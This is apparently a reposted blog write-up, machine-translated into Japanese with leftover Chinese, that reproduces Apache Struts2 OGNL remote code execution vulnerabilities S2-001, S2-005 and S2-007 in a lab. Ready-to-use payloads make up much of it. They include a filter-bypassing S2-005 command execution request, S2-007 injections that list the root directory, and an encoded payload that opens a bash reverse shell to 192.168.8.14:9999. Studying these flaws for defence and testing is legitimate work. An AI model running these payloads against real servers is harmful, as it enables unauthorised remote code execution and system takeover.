Struts2フレームワークの脆弱性再現

1. S2-001 リモートコード実行の脆弱性 (CVE-2007-4556)

脆弱性プロファイル

ユーザーがフォーム データを送信し、検証が失敗した場合、バックエンドは、OGNL 式 %{value} を使用してユーザーが以前に送信したパラメーター値を解析し、対応するフォーム データに埋め込みます。

影響範囲

Struts 2.0.0 - 2.0.8

脆弱性の再発

输入%{
    
    1+1},返回2就是存在该漏洞。

ここに画像の説明を挿入
ここに画像の説明を挿入
Tomcat パスを取得する

%{
    
    "tomcatBinDir{"[email protected]@getProperty("user.dir")+"}"}

Web サイトの実際のパスを取得する

%{
    
    #req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

S2-005 リモートでコードが実行される脆弱性 (CVE-2010-1870)

脆弱性プロファイル

s2-005 脆弱性は s2-003 (影響を受けるバージョン: Struts 2.0.12 より前) に由来しており、struts2 は http の各パラメータ名を OGNL ステートメントに解析して実行します (Java コードとして理解可能)。OGNL 式は # を介して Struts オブジェクトにアクセスします。Struts フレームワークは # 文字をフィルタリングすることでセキュリティの問題を防ぎます。ただし、セキュリティ制限は Unicode エンコード (\u0023) または 8 進数 (\43) によってバイパスされます。S2-003 脆弱性については、公式のセキュリティ構成 (静的メソッド呼び出しやクラスメソッド実行の禁止など) を追加することでパッチが適用されますが、セキュリティ構成はバイパスされて脆弱性が発生し、攻撃者は OGNL 式を使用してこれら 2 つのオプションを開くことができます。

影響を受けるバージョン

Struts 2.0.0 - 2.1.8.1

バイパスプロセス

在S2-003中\u0023用于绕过Struts2的过滤器#

在s2-003,struts2添加安全模式(沙盒)之后

在s2-005中,使用OGNL表达式关闭安全模式并再次绕过

脆弱性の再発

脆弱な環境
ここに画像の説明を挿入
BPにアクセスしてパケットをキャプチャする
ここに画像の説明を挿入
リクエストメソッドをPOSTに変更し
て実行コマンドを構築する

(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%[email protected]@getRuntime()))=1

ここに画像の説明を挿入
ここに画像の説明を挿入

3. S2-007 リモートコード実行の脆弱性 (CVE-2012-0838)

脆弱性プロファイル

age はユーザー入力から取得され、整数以外を id に渡すとエラーが発生します。struts2 はユーザー入力を ongl 式として実行します。これは、検証ルールが -vaildation.xml で構成されている場合に脆弱性につながります。型検証の変換が失敗した場合、サーバーはユーザーによって送信されたフォーム値文字列を結合し、OGNL 式の解析を実行して戻ります。
ユーザー age が str 形式で int を送信すると、サーバー "'" + value + "'" がコードを結合し、OGNL 式を使用して解析します。変換エラーを生成するには、同様の検証ルールが設定されたフォーム フィールドを見つける必要があります。その後、SQL 一重引用符を挿入することで、任意の OGNL 式コードを挿入できます。

影響範囲

Struts 2.0.0 - 2.2.3

脆弱性の再発

ここに画像の説明を挿入
ここに画像の説明を挿入
年齢ボックスに数値以外のタイプを入力し、クリックしてログインします。年齢ボックスの数字が上のように変化し、脆弱性が存在することがわかります。
ルート ディレクトリを確認してください。

' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('ls /').getInputStream())) + '

また

%27+%2B+%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew+java.lang.Boolean%28%22false%22%29+%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27ls%20/%27%29.getInputStream%28%29%29%29+%2B+%27

ここに画像の説明を挿入
リバウンドシェル

' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('bash -c {
    
    echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjguMTQvOTk5OSAwPiYx}|{
    
    base64,-d}|{
    
    bash,-i}').getInputStream())) + '

また

%27%20%2b%20%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%5b%22%61%6c%6c%6f%77%53%74%61%74%69%63%4d%65%74%68%6f%64%41%63%63%65%73%73%22%5d%3d%74%72%75%65%2c%23%66%6f%6f%3d%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%42%6f%6f%6c%65%61%6e%28%22%66%61%6c%73%65%22%29%20%2c%23%63%6f%6e%74%65%78%74%5b%22%78%77%6f%72%6b%2e%4d%65%74%68%6f%64%41%63%63%65%73%73%6f%72%2e%64%65%6e%79%4d%65%74%68%6f%64%45%78%65%63%75%74%69%6f%6e%22%5d%3d%23%66%6f%6f%2c%40%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%49%4f%55%74%69%6c%73%40%74%6f%53%74%72%69%6e%67%28%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%27%62%61%73%68%20%2d%63%20%7b%65%63%68%6f%2c%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4f%54%49%75%4d%54%59%34%4c%6a%67%75%4d%54%51%76%4f%54%6b%35%4f%53%41%77%50%69%59%78%7d%7c%7b%62%61%73%65%36%34%2c%2d%64%7d%7c%7b%62%61%73%68%2c%2d%69%7d%27%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%29%20%2b%20%27

ここに画像の説明を挿入

おすすめ

転載: blog.csdn.net/guo15890025019/article/details/122359686